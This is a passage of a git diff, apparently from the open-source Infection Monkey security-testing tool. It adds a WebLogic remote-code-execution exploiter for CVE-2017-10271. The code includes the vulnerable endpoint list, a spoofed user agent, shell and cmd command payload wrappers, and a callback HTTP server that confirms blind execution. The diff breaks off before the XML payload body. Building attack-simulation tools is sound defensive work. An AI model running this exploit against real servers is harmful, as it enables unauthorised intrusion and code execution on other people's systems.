diff --git a/infection_monkey/config.py b/infection_monkey/config.py
index 818bc75a0..f8094817c 100644
--- a/infection_monkey/config.py
+++ b/infection_monkey/config.py
@@ -7,7 +7,7 @@ from abc import ABCMeta
from itertools import product
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
- SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter
+ SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
MSSQLFinger
@@ -149,7 +149,7 @@ class Configuration(object):
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
- ElasticGroovyExploiter, Struts2Exploiter # multi
+ ElasticGroovyExploiter, Struts2Exploiter, WebLogicExploiter # multi
]
# how many victims to look for in a single scan iteration
@@ -191,7 +191,8 @@ class Configuration(object):
# TCP Scanner
HTTP_PORTS = [80, 8080, 443,
- 8008, # HTTP alternate
+ 8008, # HTTP alternate
+ 7001 # Oracle Weblogic default server port
]
tcp_target_ports = [22,
2222,
diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf
index 3c33d975a..1d6d4f0e9 100644
--- a/infection_monkey/example.conf
+++ b/infection_monkey/example.conf
@@ -37,7 +37,8 @@
"ShellShockExploiter",
"ElasticGroovyExploiter",
"SambaCryExploiter",
- "Struts2Exploiter"
+ "Struts2Exploiter",
+ "WebLogicExploiter"
],
"finger_classes": [
"SSHFinger",
@@ -87,7 +88,8 @@
443,
3306,
8008,
- 9200
+ 9200,
+ 7001
],
"timeout_between_iterations": 10,
"use_file_logging": true,
diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py
index f2d5d0c5b..346f6276b 100644
--- a/infection_monkey/exploit/__init__.py
+++ b/infection_monkey/exploit/__init__.py
@@ -42,3 +42,4 @@ from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter
from elasticgroovy import ElasticGroovyExploiter
from struts2 import Struts2Exploiter
+from weblogic import WebLogicExploiter
diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py
new file mode 100644
index 000000000..24e99424c
--- /dev/null
+++ b/infection_monkey/exploit/weblogic.py
@@ -0,0 +1,197 @@
+# Exploit based of:
+# Kevin Kirsche (d3c3pt10n)
+# https://github.com/kkirsche/CVE-2017-10271
+# and
+# Luffin from Github
+# https://github.com/Luffin/CVE-2017-10271
+# CVE: CVE-2017-10271
+
+from requests import post, exceptions
+from web_rce import WebRCE
+from exploit.tools import get_free_tcp_port, get_interface_to_target
+from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
+
+import threading
+import logging
+
+__author__ = "VakarisZ"
+
+LOG = logging.getLogger(__name__)
+# How long server waits for get request in seconds
+SERVER_TIMEOUT = 4
+# How long to wait for a request to go to vuln machine and then to our server from there. In seconds
+REQUEST_TIMEOUT = 2
+# How long to wait for response in exploitation. In seconds
+EXECUTION_TIMEOUT = 15
+URLS = ["/wls-wsat/CoordinatorPortType",
+ "/wls-wsat/CoordinatorPortType11",
+ "/wls-wsat/ParticipantPortType",
+ "/wls-wsat/ParticipantPortType11",
+ "/wls-wsat/RegistrationPortTypeRPC",
+ "/wls-wsat/RegistrationPortTypeRPC11",
+ "/wls-wsat/RegistrationRequesterPortType",
+ "/wls-wsat/RegistrationRequesterPortType11"]
+# Malicious request's headers:
+HEADERS = {
+ "Content-Type": "text/xml;charset=UTF-8",
+ "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
+ "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
+ }
+
+
+class WebLogicExploiter(WebRCE):
+ _TARGET_OS_TYPE = ['linux', 'windows']
+
+ def __init__(self, host):
+ super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh',
+ 'win32': 'monkey32.exe',
+ 'win64': 'monkey64.exe'})
+
+ def get_exploit_config(self):
+ exploit_config = super(WebLogicExploiter, self).get_exploit_config()
+ exploit_config['blind_exploit'] = True
+ exploit_config['stop_checking_urls'] = True
+ exploit_config['url_extensions'] = URLS
+ return exploit_config
+
+ def exploit(self, url, command):
+ if 'linux' in self.host.os['type']:
+ payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null')
+ else:
+ payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL')
+ try:
+ post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
+ except Exception as e:
+ print('[!] Connection Error')
+ print(e)
+ return True
+
+ def check_if_exploitable(self, url):
+ # Server might get response faster than it starts listening to it, we need a lock
+ httpd, lock = self._start_http_server()
+ payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port)
+ try:
+ post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False)
+ except exceptions.ReadTimeout:
+ # Our request does not get response thus we get ReadTimeout error
+ pass
+ except Exception as e:
+ LOG.error("Something went wrong: %s" % e)
+ self._stop_http_server(httpd, lock)
+ return httpd.get_requests > 0
+
+ def _start_http_server(self):
+ """
+ Starts custom http server that waits for GET requests
+ :return: httpd (IndicationHTTPServer daemon object handler), lock (acquired lock)
+ """
+ lock = threading.Lock()
+ local_port = get_free_tcp_port()
+ local_ip = get_interface_to_target(self.host.ip_addr)
+ httpd = self.IndicationHTTPServer(local_ip, local_port, lock)
+ lock.acquire()
+ httpd.start()
+ lock.acquire()
+ return httpd, lock
+
+ def _stop_http_server(self, httpd, lock):
+ lock.release()
+ httpd.join(SERVER_TIMEOUT)
+ httpd.stop()
+
+ @staticmethod
+ def get_exploit_payload(cmd_base, cmd_opt, command):
+ """
+ Formats the payload used in exploiting weblogic servers
+ :param cmd_base: What command prompt to use eg. cmd
+ :param cmd_opt: cmd_base commands parameters. eg. /c (to run command)
+ :param command: command itself
+ :return: Formatted payload
+ """
+ empty_payload = '''